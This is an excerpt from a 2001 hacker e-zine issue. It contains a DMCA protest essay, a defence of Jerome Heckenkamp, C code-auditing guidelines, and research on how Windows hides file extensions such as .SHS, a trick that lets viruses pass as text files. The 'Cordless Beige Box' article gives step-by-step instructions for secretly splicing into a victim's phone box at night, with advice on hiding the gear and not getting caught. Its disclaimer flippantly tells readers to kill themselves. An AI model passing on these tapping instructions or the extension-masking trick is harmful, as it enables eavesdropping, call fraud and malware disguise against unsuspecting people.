home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / hackersdigest / digest_f_2.txt next >
Encoding:
Text File  |  2002-05-27  |  211.7 KB  |  4,188 lines

  1.  
  2.  
  3.  
  4. H    A    C    K    E    R    '    S        D    I    G    E    S    T
  5. ----------------------------------------------------------------------
  6.                          www.hackersdigest.com
  7. FALL 2001                                                      ISSUE 2
  8.  
  9.  
  10.    
  11.  
  12.  
  13.                             Pure Uncut Information
  14.  
  15.    ====================================================================*
  16.    |Power to the People 
  17.    ====================
  18.    |Hacker's Digest Focus Jerome Heckenkamp
  19.    ========================================
  20.    |Guidelines for C Source Code Auditing 
  21.    ======================================
  22.    |The Cordless Beige Box Theory 
  23.    ==============================
  24.    |Invisible File Extensions on Windows 
  25.    ===================================== 
  26.    |Strategies for Defeating Distributed Attacks 
  27.    =============================================
  28.    |Autopsy of a Successful Intrusion 
  29.    ==================================
  30.    |Remote GET Buffer Overflow Vulnerability in CamShot WebCam HTTP 
  31.    ================================================================
  32.    |An Approach to Systematic Network Auditing 
  33.    =========================================== 
  34.    |Ten Things NOT to do if Arrested 
  35.    =================================
  36.    |Statically Detecting Likely Buffer Overflow Vulnerabilities
  37.    ====================================================================* 
  38.  
  39.  
  40.  
  41.  
  42. +==============================================================================+
  43. | Get The Latest Issues                                                        |
  44. |                            Join the Mailing List                             |
  45. |                            ---------------------                             |
  46. | E-mail hd-request@hackersdigest.com with the word subscribe in the           |
  47. | subject line.                                                                |
  48. +==============================================================================+
  49.  
  50.  
  51.  
  52.  
  53. =======================[     Power to the People     ]==========================
  54.  
  55.  
  56.  
  57.  
  58. Digital Millennium Copyright Act, a law that turned me, collegles, profes- sors,
  59. and many others into criminals overnight. Edward Felten, an encryption
  60. researcher, was threatened by the RIAA, if he was to give a lecture on cracking
  61. digital watermarks. So, when I read how Disney, one the many corporations that
  62. is sueing 2600 for violations of the DMCA, has produced a show to teach children
  63. the evils of swapping music on the internet, I was rather appalled. ôThe Proud
  64. Familyö, a cartoon series aired on the Disney Channel, told a story of a little
  65. girl who spent all of her money on CDÆs, was told of a web site called ôEZ
  66. Jackersterö that provided a Napster like community to swap copyrighted music.
  67. Knowing what she was doing is illegal because of the DMCA, the little girl did
  68. not want to tell her freind, but did anyway. The whole thing causes a spiral
  69. effect and next, no one is paying for music. Next thing you know the little
  70. girls house is on the News for being responsible for the down fall of the music
  71. industry.
  72.  
  73. If only the little girl knew how Disney played a part of having an extremely
  74. bright teenager and his father arrested in Norway after writing a program that
  75. would play DVDÆs on his computer. Or how its not the rap star ôSir Paid-A-Lotö
  76. who would not be paid but the record lable. Perhaps the little girl would have
  77. used her money to help support the EFF (www.eff.org) to fight arrogant
  78. corporations such as Disney.
  79.  
  80. With that said, despite all of the criticism coming from all sorts of people it
  81. just does not look like the DMCA is going anywhere soon. Thats why what Emmanual
  82. Goldstein of 2600, with the help of the EFF, is doing is so importent to what we
  83. do. I wish them the best of luck.
  84.  
  85. The next thing to be afraid of is the The Security Systems Standards and
  86. Certification Act (SSSCA). The SSSCA is the brain child of Senator Hollings that
  87. will put even more Americans in jail for making corporations such as Disney mad.
  88. It would be a civil offense to sell or create any kind of computer equipment
  89. that "does not include and utilize certified security technologies" that is not
  90. approved by the federal government. It will create new federal felonies,
  91. punishable by five years in prison and fines of up to $500,000, for anyone who
  92. distributes copyrighted material with ôsecurity measuresö disabled or has a
  93. network-attached computer that disables copy protection. ôForgetting all the
  94. reasons why this is bad copyright policy and bad information policy, itÆs
  95. terrible science policy,ö says Jessica Litman, a law professor at Wayne State
  96. University who specializes in intellectual property.
  97.  
  98. With this being extremely important, it is something we will need to come
  99. together to fight, it has been over shadowed with the events that occured on
  100. September 11th. New and far more dangrous bills were proposed, one of them being
  101. the 'Anti-Terrorism' Act. I honestly belive was a bill that took advantage of a
  102. nation in mourning. A letter I wrote to Vulnerability Development, a security
  103. newsgroup.
  104.  
  105. In case you have been living under a rock the past few weeks. You should know
  106. that our civil liberties are under attack. Kevin Poulsen wrote: "Hackers,
  107. virus-writers and web site defacers would face life imprisonment without the
  108. possibil-ity of parole under legislation proposed by the Bush Administration
  109. that would classify most computer crimes as acts of terrorism."
  110. (http://www.securityfocus. com/news/257, Hackers face life imprisonment under
  111. 'Anti-Terrorism' Act). When you read the news this morning you will see that
  112. this bill was passed by the Senate. (http://www.securityfocus.com/news/265,
  113. Senate passes terror bill).
  114.  
  115. I will say that most of the readers of this news group are not hackers but
  116. Network Administrators that are very involved with the Security Community. That
  117. is why I am asking you, not to report minor scans against your network to the
  118. abuse department of any ISP if this bill becomes law.
  119.  
  120. I as a Network Administrator for many years now have been on a routine to check
  121. my logs for scans against my network every morning and send the logs of attacks
  122. to the abuse department of the ISP. I encourage every Network Administrator I
  123. ever talked to follow this practice to this day. It is my job Network
  124. Administrator to report these attacks on my network, it is what I am paid to do.
  125. However if/when this bill becomes law I will no longer report these attacks and
  126. I urge every Network Administrator to join me in this Civil Disobedience Protest
  127. against this bill.
  128.  
  129. If/When this bill becomes law, Hackers/Script Kiddies will no longer be looked
  130. at as just kids messing around with computers, but as terrorists. Just as the
  131. press started to tell the difference between a criminal who uses computers and a
  132. Hacker. Now they all are just going to be terrorist. I have a problem with this.
  133.  
  134. Perhaps you think this could not happen to you. Well I would suggest you read
  135. the story on Jerome Heckenkamp( http://www.freesk8.org/ ). A contributor to
  136. BugTraq who wrote a exploit for qpop who is now facing 16 counts of computer
  137. crimes, a maximum sentence of 85 years, and up to $4 million in fines. After
  138. Qualcomm reported him to the FBI. This case is harsh now, just imagine if this
  139. happen under the 'Anti-Terrorism' bill. This could happen to you.
  140.  
  141. Again, I have always felt it was my duty to report attacks against my network to
  142. there ISP. I looked at it as doing my part to make the internet more secure. I
  143. figured it is a good lesson for the kid to have his service taken away. If this
  144. bill becomes law then its no longer just some kid getting his service taken
  145. away. It is something that can escalate to much more and could result to some
  146. kid going to jail for a long time. I will not be a part of it even if there is
  147. just a slight possibility that this can happen. I want nothing to do with it.
  148.  
  149. I ask each and every one of you to join me in this protest. It is not to late to
  150. make a difference. Once you lose your right you will never get it back.
  151.  
  152. After I wrote this letter I revived email for days a lot of support as well as a
  153. lot of criticism. Most people argued that you do not have a right to write virus
  154. however you do. There is nothing illegal about writing computer virues however
  155. it is illegal to write them and then release them in the wild. The other point
  156. that was made to me was the fact that if everyone stoped reporting these attacks
  157. then it would seem as if the law was working and would feul other laws of the
  158. sort. This is a great point.
  159.  
  160. The bill was passed however the part that could put hackers in jail for life was
  161. removed. Thanks to people like Kevin Poulsen who made the public aware of what
  162. could happen. It also shows the power we have to make a differance by contacting
  163. our state representatives.
  164.  
  165.  
  166.  
  167.  
  168. ===============[     Hacker's Digest Focus Jerome Heckenkamp     ]==============
  169.  
  170.  
  171.  
  172.  
  173. An extremely intelligent individual, Jerome Heckenkamp, also known as æsk8Æ, is
  174. facing a maximun sentence of 85 years and close to $4 million dollars in fines,
  175. is claiming he is a scapegoat for the FBI. Jerome is being charged with 16
  176. counts of computer crimes with the alleged victims being Ebay, E-Trade, Lycos,
  177. Exdous, and Qualcomm.
  178.  
  179. Jerome Heckenkamp, who graduated from college at the age of 18, worked at Los
  180. Alamos National Labs as a security researcher, has pleaded innocent to all 16
  181. counts stacked against him as well as refused all plea bargins given to him. The
  182. FBI claims that he is the hacker known as MagicFX who has been defacing web
  183. sites for years.
  184.  
  185. The story goes like this, Jerome Heckenkamp was a student at the University of
  186. Wisconsin. He had a computer with a defualt instalation of Linux that he would
  187. preform security audits on in his spare time. In 1999 Jerome had disclosed two
  188. security exploits he wrote to BugTraq. Following the unwritten code to the tee.
  189. He alerted the vendor of the security hole, gave them more then enough time to
  190. write a patch for the security hole he found and on top of that when he released
  191. the security hole to bugtraq the changed a line of code that made it useless
  192. unless you were smart enough to look at the code and figure out how to make it
  193. work.
  194.  
  195. Perhaps he would not even be in this mess if he did not tell Qualcomm. ( The
  196. company who owns the secure mail deamon Qmail) After all they were the ones who
  197. went to the FBI after machines were getting owned with a 0-day exploit for qpop.
  198. In his post to BugTraq he did say "I found this overflow myself earlier this
  199. month. Seems someone else recently found it before Qualcomm was able to issue a
  200. patch." But lets not be naive, he is a smart kid.
  201.  
  202. The FBI claims he is a hacker known as æMagicFXÆ. Just do a search on google for
  203. MagicFX and you will see all of his work. MagicFX has been all over the press
  204. for tons of hacks he has pulled. However Jerome Heckenkamp says he is not
  205. MagicFX and knows nothing about him. In an article written about MagicFX he is
  206. quoted as saying "I exploited a buffer overflow condition, which existed in an
  207. SUID root program," says the hacker, who is finishing up a B.S. in computer
  208. science. When this interview took place Jerome Heckenkamp had already graduated
  209. from college with a degree in computer science. This is just about the only
  210. point the authors of Free Sk8 (www.freesk8.org) could make that driffers Jerome
  211. Heckenkamp is not MagicFX. However in some of the interviews MagicFX raves about
  212. how he had exploited systems using a buffer overflow in a SUID program. Jerome
  213. Heckenkamp did write a buffer overflow for just this type of security hole,
  214. however lets understand that SUID programs are riddled with security holes to
  215. begin with so this does not really mean anything. Another instresting fact is
  216. that I could not find any attacks by MagicFX after Jerome HeckenkampÆs arrest. I
  217. also have to stress that this really does not mean anything because if I did
  218. find someone who was hacked by MagicFX, I would argue that anyone can be MagicFX
  219. who owns a keyboard. I mean people are still claiming to see Elvis.
  220.  
  221. So now that we have seen both sides of the story, why does the FBI think Jerome
  222. Heckenkamp is MagicFX. Well besides the fact that Jerome Heckenkamp do have a
  223. few things in common like the fact that they both went to college. The FBI is
  224. claming that some of the attacks had originated from Jerome HeckenkampÆs
  225. personal computer.
  226.  
  227. Jerome HeckenkampÆs personal computer plays a very intresting part in all of
  228. this. Jerome Heckenkamp owned two computers. One he used frequently and the
  229. other had a defualt instalation of Linux in which he would audit in his spare
  230. time for security holes. Now he claims that someone (MagicFX) broke into his
  231. computer and launched attacks from it. This would explain why he did write in
  232. his BugTraq post "I found this overflow myself earlier this month. Seems someone
  233. else recently found it before Qualcomm was able to issue a patch." One of the
  234. most interesting facts about JeromeÆs personal computer is the fact that there
  235. was an archive of exploits and a database of computers that have been
  236. compromised.
  237.  
  238. Now what are the chances of MagicFX breaking into one of Jerome HeckenkampÆs
  239. computers? Well I would have to say the odds are more in his favor after
  240. learning that the administrators of the college network broke into his computer
  241. as well. It seems that the network administrators were reciveing complaints that
  242. the mail server on the network was attacking computers. This shows just how
  243. unsecure the second computer was and completely destorys the intergrity of the
  244. only evidence they have against Jerome Heckenkamp.
  245.  
  246. Another thing to remember here is that the FBI has been harassing Jerome
  247. Heckenkamp for almost a year before they searched and seized his second
  248. computer. This gave Jerome Heckenkamp such a huge window to delete or at the
  249. very least encrypt this data against him. He is a smart kid, if he was guilty
  250. why would he make such a huge mistake?
  251.  
  252. I have been working with the aurthors of www.freesk8.org to write this article
  253. and there are a few peices of the puzzle that I could not get answers on. One,
  254. there is nothing on the Free Sk8 web site about the charges against him,
  255. tampering with a witness. I would really like to know what that is all about.
  256. Second, if you check out the Free Sk8 web site there is a FAQ about Jerome
  257. Heckenkamp. One of the questions are "Has Heckenkamp ever been convicted of a
  258. computer crime before?" with the simple simple answer of just "No." This is
  259. true, Jerome has not been arrested before but this would be a good place to
  260. mention that US attorneys have said Jerome has admitted to computer crimes while
  261. at the university and agreed to a one-year suspension from its graduate school.
  262. They also said that he was fired from a student job after he admitted illegally
  263. trespassing on an Internet service provider in 1997. When I asked the author of
  264. Free Sk8 they had no comment.
  265.  
  266. What makes this case even more strange is the blatent harassment by the FBI. The
  267. FBI has been harassing the authors as well as the hosting provider and
  268. sucessfully had the site removed from the internet two different times. The
  269. other thing about this whole mess is the fact that there was an article written
  270. by Adam Penenberg of Forbes. It was a interview with MagicFX. A lot of what was
  271. said contradicts the claims from the FBI that Jerome Heckenkamp is MagicFX. This
  272. article can not be found in the Forbes archives anymore but all of the other
  273. articles written by Adam Penenberg can. Makes you wonder a little bit donÆt it?
  274.  
  275. There are a lot of blury lines in this case and its hard to say what really
  276. happened. There are just a few facts to the case. Like the fact that there is no
  277. evidence to really support the FBIÆs claims. Just a computer that according to
  278. the FBI was a launching pad for these attacks that has already been proven to be
  279. unsecure when the network administrator broke into it. The sad fact that you are
  280. guilty untill proven innocent. The only reason Jerome Heckenkamp is walking the
  281. streets and not in a cell with crimanals is that a friend posted $50,000 bail.
  282. Last, lets not forget the ignorance of the prosecutor Ross Nadel who needs to
  283. read a book about networking and not just a few pages to seem like he has some
  284. what of a clue. It was so funny yet so sad to read how Ross Nadel tried to
  285. expline how IP address as a separate entity between the computer and the
  286. internet and the fact that school owned the IP address, and therefore could
  287. enter the IP address. All I can say about that is I am glad this guy is a
  288. prosecutor because the thought of him defending someone is just frightning.
  289.  
  290. I think that unless the FBI can find some real evidence, JeromeÆs life will be
  291. back to normal. however its sad to know something like this will follow him for
  292. the rest of his life.
  293.  
  294.  
  295.  
  296.  
  297. ===============[     Guidelines for C Source Code Auditing     ]================
  298.  
  299.                               ---  by Mixer ---
  300.  
  301. Introduction
  302.  
  303. I decided to write up this paper because of the many requests I've been getting,
  304. and also since I found that no comprehensive resource about source code
  305. vulnerability auditing was out there yet. Obviously, this is a problem, as the
  306. release rate of serious exploits is currently still increasing, and, more
  307. problematic, a few more serious exploits than before are released in private and
  308. distributed longer in the "underground" among black-hats, before being available
  309. to the full-disclosure community. This situation makes it even more important
  310. for the "good guys" (which I associate more with the full disclosure movement)
  311. to be able to find their own vulnerabilities, and audit relevant code
  312. themselves, for the possibility of hopefully being a few steps beyond the
  313. private exploit scene.
  314.  
  315. Of course, code auditing is not the only security measure. A good security
  316. design should start before the programming, enforcing guidelines such as
  317. software development security design methodology from the very beginning.
  318. Generally, security relevant programs should enforce minimum privilege at all
  319. times, restricting access wherever possible. The trend toward running daemons
  320. and servers inside chroot-cages where possible, is also an important one.
  321. However, even that isn't foolproof, in the past, this measure has been
  322. circumvented or exploited within limits, with chroot-breaking and kernel
  323. weakness-exploiting shellcode.
  324.  
  325. When following a thought-out set of guidelines, writing secure code or making
  326. existing code reasonably secure doesn't necessarily require an writing secure
  327. code, or making code reasonably secure, generally must not require an orange
  328. book certification, or a tiger team of expert coders to sit on the code. To
  329. evaluate the cost of code auditing, the biggest point is the project size (i.e.,
  330. lines of code), and the current stage of design or maturity of the project.
  331.  
  332. Relevant code and programs
  333.  
  334. Security is especially important in the following types of programs:
  335. setuid/setgid programs daemons and servers, not limited to those run by root
  336. frequently run system programs, and those that may be called from scripts calls
  337. of system libraries (e.g. libc) calls of widespread protocol libraries (e.g.
  338. kerberos, ssl) kernel sources administrative tools all CGI scripts, and plug-ins
  339. for any servers (e.g. php, apache modules)
  340.  
  341. Commonly vulnerable points
  342.  
  343. Here is a list of points that should be scrutinized when doing code audits. You
  344. can read more on the process under the next points. Of course, that doesn't mean
  345. that all code may be somehow relevant to security, especially if you consider
  346. the possibility that pieces of code may be reused in other projects, at other
  347. places. However, when searching for vulnerabilities, one should generally
  348. concentrate on the following most critical points:
  349.  
  350. Common points of vulnerability: Non-bounds-checking functions: strcpy, sprintf,
  351. vsprintf, sscanf Using bounds checking in the format string, instead of the
  352. bounds checking functions (e.g. %10s, %6d), is deprecated. Gathering of input in
  353. for/while loops, e.g. for(i=0;i 0) buf += bytesread; Calls like execve(),
  354. execution pipes, system() and similar things, especially when called with
  355. non-static arguments Any repetitive low-level byte operations with insufficient
  356. bounds checking Some string operations can be problematic, such as breaking
  357. strings apart and indexing them, i.e. strtok and others Logging and debug
  358. message interface functions without mandatory security checks in place Bad or
  359. fake randomness (example: bind ID spoofing) Insufficient checking for special
  360. characters in external data Using read and other network calls without timeouts
  361. (can lead to a DoS)
  362.  
  363. External data entry points: Command line arguments (i.e. getopt) and environment
  364. arguments (i.e. getenv) System calls, especially those getting foreign input
  365. (read, recv, popen, ...) Generally, file handling. Creating files, especially in
  366. public file system areas leads to race conditions (not checking for links is
  367. also a big problem)
  368.  
  369. System I/O: Library weaknesses. E.g. format bugs, glob bugs, and similar
  370. internal weaknesses. (Specific code scanning tools can often be used in these
  371. cases.) Kernel weaknesses. E.g. fd_set glitches, socket options, and generally,
  372. user-dependent usage of system calls, especially network calls. System
  373. facilities. Input from and output to facilities such as syslog, ident, nfs, etc.
  374. without proper checking
  375.  
  376. Rare points:
  377.  
  378. One-byte overwriting of bounds (improper use of strlen/sizeof, for example)
  379. Using sizeof on non-local pointer variables Comparing signed and unsigned
  380. variables (or casting between signed and unsigned) can lead to erroneous values
  381. (e.g., -1 becomes UINT_MAX)
  382.  
  383. Auditing: the "black box" approach
  384.  
  385. I shall just mention black box auditing here shortly, as it isn't the main focus
  386. of this paper. Black box auditing, however, is the only viable method for
  387. auditing non-open-source code (besides reverse engineering, perhaps). To audit
  388. an application black box, you first have to understand the exact protocol
  389. specifications (or command line arguments or user input format, if it's not a
  390. network application). You then try to circumvent these protocol specifications
  391. systematically, providing bad commands, bad characters, right commands with
  392. slightly wrong arguments, and test different buffer sizes, and record any
  393. abnormal reactions to these tests). Further attempts include the circumvention
  394. of regular expressions, supposed input filters, and input manipulation at points
  395. where no user input, but binary input from another application is expected, etc.
  396. Black box auditing tries to actively crack exception handling where it is
  397. supposed to exist from the perspective of a potential external intruder. Some
  398. simple test tools are out that may help to automate parts of this process, such
  399. as "buffer syringe".
  400.  
  401. The aspect of black box auditing to determine the specified protocol and test
  402. for any possible violations is also a potentially useful new method that could
  403. be implemented in Intrusion Detection Systems.
  404.  
  405. Auditing: the "white box" approach
  406.  
  407. White box testing is the "real stuff", the methodology you will regularly want
  408. to use for finding vulnerabilities in a systematic way by looking at the code.
  409. And that's basically it's definition, a systematic auditing of the source that
  410. (hopefully) makes sure that each single critical point in the source is
  411. accounted for. There are two different main approaches. In the top-to-bottom
  412. approach, you go and find all places of external user input, system input,
  413. sources of data in general, write them down, and start your audit from each of
  414. these points. You determine what bounds checking is or is not in place, and
  415. based on that, you go down all possible execution branches from there, including
  416. the code of all functions called after the input points, the functions called by
  417. those functions, and so on, until you've covered all parts of the code relevant
  418. to external input.
  419.  
  420. In the bottom-to-top approach, you will start in main() (or the equivalent
  421. starting function if wrapped in libraries such as gtk or rpc), or alternatively
  422. the server accept/input loop, and begin checking from there. You go down all
  423. functions that are called, briefly checking system calls, memory operations,
  424. etc. in each function, until you come to functions that don't call any other sub
  425. functions. Of course, you'll emphasize on all functions that directly or
  426. indirectly handle user input.
  427.  
  428. It's also a good idea is to compare the code with secure standards and good
  429. programming practice. To a limited extend, lint and similar programs programs,
  430. and strict compiler checks can help you to do so. Also take notice when a
  431. program doesn't drop privileges where it could, if it opens files in an insecure
  432. manner, and so on. Such small things might give you further pointers as to where
  433. security problems may lie. Ideally, a program should always have a minimum of
  434. internal self checks (especially the checking of return values of functions), at
  435. least in the security critical parts. If a program doesn't have any automated
  436. checks, you can try adding some to the code, to see if the program works as it's
  437. supposed to work, or as you think it's supposed to work.
  438.  
  439.  
  440.  
  441.  
  442. ==================[     The Cordless Beige Box Theory     ]=====================
  443.                                    
  444.                          --- by Lucid & Actinide ---                
  445.  
  446.  
  447. Disclaimer: This article file is for informational purposes ONLY! The knowledge,
  448. theories, & instructions held herein are not to be practiced, in fact, don't
  449. read this, why not just be safe, go lock yourself in your room. kill yourself,
  450. do what you have to do, just don't read this.
  451.  
  452. Explanation Ok, so if you don't know what a beige box is, here's small
  453. explanation of what it is and what it does.
  454.  
  455. What it is Ever seen the line men at your local B-Box? Ever see the hand sets
  456. they have? ( Usually red, blue, or black ). Well a Beige box is a make shift
  457. version of a line mans test set.
  458.  
  459. What it does A beige gives one the ability to jack up to one's phone line and
  460. make calls, listen in, and pretty much anything else you wanna do with someone's
  461. phone line. ( The conf makers best friend. )
  462.  
  463. What do I need? Cheap cordless phone (rat shack) 9 volt battery coupler ( one
  464. that can hold an 8 pack is the best ) Pack of 9 volt batteries ( 8+ ) 10+ foot
  465. RJ-11 phone line ( no bright colors! ) Large plastic bag ( ziplock owns me ) Zip
  466. ties ( wire ties ) Wire cutters basic knowledge of wire splicing Phillips Head
  467. Screw Driver ( The star looking one ) *Optional* Alligator Clips
  468.  
  469. How do I make it & Use it? Simple really. Most cordless phones are ran off of
  470. 9volt AC jacks... thus.. this is what ya gotta do.
  471.  
  472. 1: Remove the AC power adapter from the end of the phones power cord.  2: Place
  473. your batteries inside the coupler.  3: Splice the battery coupler to the end of
  474. the cordless phones power cord.  4: If needed, attach the alligator clips to red
  475. and green wires on the RJ-11 phone line.  5: Bag the base ( the charger )as well
  476. as the battery pack and make a small hole for the phone line to come out of.  6:
  477. Find yourself a victim in a not well lit area, preferably with bushes and trees.
  478. 7: Locate the telco box of your victim ( usually a white or green box on the
  479. side of the house in the front yard ) 8: Un-screw the damn thing and look at the
  480. goodies on the inside.  * If it has a RJ-11 jack then alligator clips wont be
  481. needed.  * If contains a tangled mess of wires, get the alligator clips out 9:
  482. Hook up to the person's phone line:  * RJ-11 Jack: Umm, hook the phone line into
  483. the fucking jack, not exactly brain surgery.  * Wires: Locate the red and green
  484. wires, hook red to red and green to green.  10: MAKE SURE! You have dial tone,
  485. its a bitch when you don't.  11: Hide the base and battery pack in a nearby bush
  486. ( or trash can if they got one there ) 12: Do what you want to do... don't get
  487. caught.
  488.  
  489. Schematics ( for the geeky )
  490.  
  491.  
  492.                                                         ____
  493.           ______________________#2____________________<|    |
  494.          |    ________________                         |    |
  495.          |   |                |                        | #3 |
  496.  _______{ }_{ }_              |                        |    |
  497. /  ____         \             |                        |____|
  498. | /    \  Vtech |             |                         
  499. | |    |        |             |                           ______ _____
  500. | |    |    #1  |             |                          |      |     |
  501. | |    |        |             |_______#4_________________|__[#] $     |
  502. | |    |        |                                        |      |     |
  503. | |    |        |                                        |  [ ] $     |
  504. | |    |   ###  |                                        |   #5 |     |
  505. | \____/        |                                        |______|_____|  
  506. \_______________/
  507.  
  508.  
  509.  
  510.  
  511. #1 Cordless Phone Base 
  512. #2 AC power cord 
  513. #3 9volt Battery Coupler 
  514. #4 RJ-11 Phone Line 
  515. #5 Telco Box 
  516.  
  517.  
  518.  
  519.  
  520. ===============[     Invisible File Extensions on Windows     ]=================
  521.  
  522.                               --- by Floydman ---
  523.  
  524.  
  525. Abstract 
  526.  
  527. The goal of this paper is to present the research I made on invisible file
  528. extensions on the Windows operating systems. After I published my initial
  529. research material on various places on the internet, many people pointed me to
  530. bits of information that were already known on this topic, but that I didn't
  531. know about. However, the experimentation I made brought this problem on a
  532. different angle than the other people's previous work, and somehow complements
  533. it. In this paper, I will put together all I found on this topic so far. The
  534. ultimate goal is to find a)invisible file extensions, and b)can these invisible
  535. file extensions are able to run code, and thus be used to propagate a virus.
  536.  
  537. Preface
  538.  
  539. A little while ago, I was having a conversation with some of my colleagues about
  540. computer viruses. The "Life Stages" virus was mentionned during the
  541. conversation. This virus disguises itself via a file with extension .SHS, while
  542. pretending to be a .TXT file. This was possible because the .SHS extension is
  543. hidden by Windows, even if it is configured to display all files, all extensions
  544. (even for known file types) and the file actually passes fot a (almost) real
  545. .TXT file. Following this conversation, I thought to myself "I wonder if there
  546. are any other file extensions with this attribute that could potentially be used
  547. in a virus design?". This is what I found so far.
  548.  
  549. Targeted audience
  550.  
  551. This document is presented to anyone who has interests in computer security,
  552. viruses, operating systems and computing in general.
  553.  
  554. Special Thanks to : Tony, Ken Brown, JFC, Henri, Seva Gluschenko, Adam L. Simms
  555. and a couple others for your input in this paper and pointing me at good
  556. directions. Thanks also to the original researchers who found some of the things
  557. explained here.
  558.  
  559. Introduction
  560.  
  561. A little while ago, I was having a conversation with some of my colleagues about
  562. computer viruses. The "Life Stages" virus was mentionned during the
  563. conversation. This virus disguises itself via a file with extension .SHS, while
  564. pretending to be a .TXT file. This was possible because the .SHS extension is
  565. hidden by Windows, even if it is configured to display all files, all extensions
  566. (even for known file types) and the file actually passes fot a (almost) real
  567. .TXT file. Following this conversation, I thought to myself "I wonder if there
  568. are any other file extensions with this attribute that could potentially be used
  569. in a virus design?".
  570.  
  571. To do this research, someone suggested me that I plunder the registry, since all
  572. file extensions are (supposed) to be listed there. But the registry gives little
  573. if no information at all about what is the purpose of a certain file extension
  574. in the system, neither about what visual behavior they present to the user
  575. (which in turn can use the user gullibility to activate a virus). What was
  576. interesting me if how Windows presents the file via the GUI, not just the list
  577. of extensions recognized by Windows. Also, I didn't really trust the registry to
  578. hold all and every file extension it uses all in the same place (after all, we
  579. trusted it to display all file information, didn't we?).
  580.  
  581. It was only after that some people pointed me some research on this topic that
  582. was done about a year before. It turns out that the invisivility is caused by a
  583. registry key named NeverShowExt. Knowing this, finding invisible extensions
  584. becomes a breeze, but back then I didn't know this and looking in the registry
  585. to find you-don't-exactly-know-what-you're-looking-for was like searching a
  586. needle in a haystack. So I made a Perl script that would generate all possible
  587. combinations of 1, 2 and 3 characters long file extensions. I did not test 4, 5
  588. and more letters file extensions, because I did not have the time to plunder
  589. through all the possible combinations. But as I have been pointed out, the
  590. Windows operating system supports file extensions longer than 3 letters (.HTML
  591. is the prime example). Also, the registered file types will vary from one
  592. computer to another, since this is tightly related to the installed
  593. applications. Some applications will also rename common known file types to
  594. their own applicat
  595.  
  596. The .SHS file type
  597.  
  598. The most known file type that is invisible is .SHS, since the "Life Stages"
  599. virus used this "feature" to camouflage a virus in what looked like an innocent
  600. .TXT ascii file. But the most common invisible file type is used by patically
  601. everybody, and that is the .LNK, which are the shortcuts you use on your desktop
  602. or menus to open up applications and files. We use to take these shortcuts as an
  603. oblect of the operationg system, but in fact they are only small files, with a
  604. hidden .LNK extension appended to it.
  605.  
  606. So, back to .SHS, it stands for Shell Scrap. It's an old dinausor from Windows
  607. 3.1 that have been mostly unkown until only a couple of years ago. It is used
  608. for OLE (Object Linking and Embedding), and using a Shell Scrap, you can just
  609. include any file you want, even an executable, in a Word document, for example,
  610. and the system will open it for you. The .SHS file will bear an icon ressembling
  611. somewhat the one of Notepad, but still slightly different (the bottom of the
  612. page is ripped). The .SHS extension itself is invisible, as we said, so you can
  613. make it look like it is something else.
  614.  
  615. For an excellent overview of Shell Scraps, see
  616. http://www.pc-help.org/security/scrap.htm.
  617.  
  618. The NeverShowExt registry key
  619.  
  620. At this point, I should clarify that when I say that a file extension is
  621. invisible, I mean that it is not showing in Windows Explorer, even if you have
  622. specified every configuration options to display everything there is to
  623. display("Show hidden files and folders", "Hide file extensions for known file
  624. types", "Hide protected operating system files"). Although, if you look at these
  625. file by displaying the content of a directory in a DOS box, then you'll see the
  626. whole filename and extension(s). The component in Windows that makes some files
  627. display this kind of behavior is a registry key named NeverShowExt. Here is an
  628. example of how this is used in the registry:
  629.  
  630.  
  631. [HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] @="Scrap object"    REG_SZ
  632. "NeverShowExt"="" REG_SZ
  633.  
  634.  
  635.  
  636. Here are the file extensions that were invisible (or displayed other non
  637. standard behavior) by default on my system:
  638.  
  639.  
  640. .cnf    SpeedDial (Extension not visible)
  641. .lnk    Shortcut (Extension not visible)
  642. .mad    Microsoft Access Module Shortcut (Extension not visible)
  643. .maf    Microsoft Access Form Shortcut (Extension not visible)
  644. .mag    Microsoft Access Diagram Shortcut (Extension not visible)
  645. .mam    Microsoft Access Macro Shortcut (Extension not visible)
  646. .maq    Microsoft Access Query Shortcut (Extension not visible)
  647. .mar    Microsoft Access Report Shortcut (Extension not visible)
  648. .mas    Microsoft Access StoredProcedure shortcut (Extension not visible)
  649. .mat    Microsoft Access Table Shortcut (Extension not visible)
  650. .mav    Microsoft Access View Shortcut (Extension not visible)
  651. .maw    Microsoft Access Data Access Page Shortcut (Extension not visible)
  652. .pif    Shortcut to MS-DOS Program (Extension not visible)
  653. .scf    Windows Explorer Command (Extension not visible, generic icon)
  654. .shb    Shortcut into a document (Extension not visible)
  655. .shs    Scrap object (Extension not visible)
  656. .uls    Internet Location Service (generic icon)
  657. .url    Internet Shortcut (Extension not visible)
  658. .xnk    Exchange Shortcut (Extension not visible)
  659.  
  660.  
  661.  
  662. Here is a command line directory listing of some test files I made: 
  663.  
  664.  
  665. dir test.*
  666. Directory of C:\TEMP
  667. 2001-03-30  12:49                    7 test.cnf
  668. 2001-03-30  12:49                    7 test.lnk
  669. 2001-03-30  12:49                    7 test.mad
  670. 2001-03-30  12:49                    7 test.maf
  671. 2001-03-30  12:49                    7 test.mag
  672. 2001-03-30  12:49                    7 test.mam
  673. 2001-03-30  12:49                    7 test.maq
  674. 2001-03-30  12:49                    7 test.mar
  675. 2001-03-30  12:49                    7 test.mas
  676. 2001-03-30  12:49                    7 test.mat
  677. 2001-03-30  12:49                    7 test.mav
  678. 2001-03-30  12:49                    7 test.maw
  679. 2001-03-30  12:49                    7 test.pif
  680. 2001-03-30  12:49                    7 test.scf
  681. 2001-03-30  12:49                    7 test.shb
  682. 2001-03-30  12:49                   14 test.shs
  683. 2001-03-30  12:43                    7 test.shs.txt
  684. 2001-03-30  12:42                    7 test.txt
  685. 2001-03-30  12:42                    7 test.txt.shs
  686. 2001-03-30  12:42                    7 test.uls
  687. 2001-03-30  12:49                    7 test.url
  688. 2001-03-30  12:49                    7 test.xnk
  689.  
  690.  
  691.  
  692. On the explorer-like tools that look appears as test, test, test, test, test,
  693. test, test, test, test, test, test, test, test, test, test, test, test.shs.txt,
  694. test.txt, test.txt, test.uls, test, test.
  695.  
  696. Of course, if I would have taken some time to do some research on internet, I
  697. would have known this, and then I would have made a simple search for
  698. "NeverShowExt" in the registry, and voilα(<--BTW, this is how this word is
  699. really spelled), I would have had the list of extensions that were invisible on
  700. my computer. This "feature" can be added to any extension, and it can also be
  701. removed (by adding or deleting the NeverShowExt keys in the registry).
  702.  
  703. CLSID
  704.  
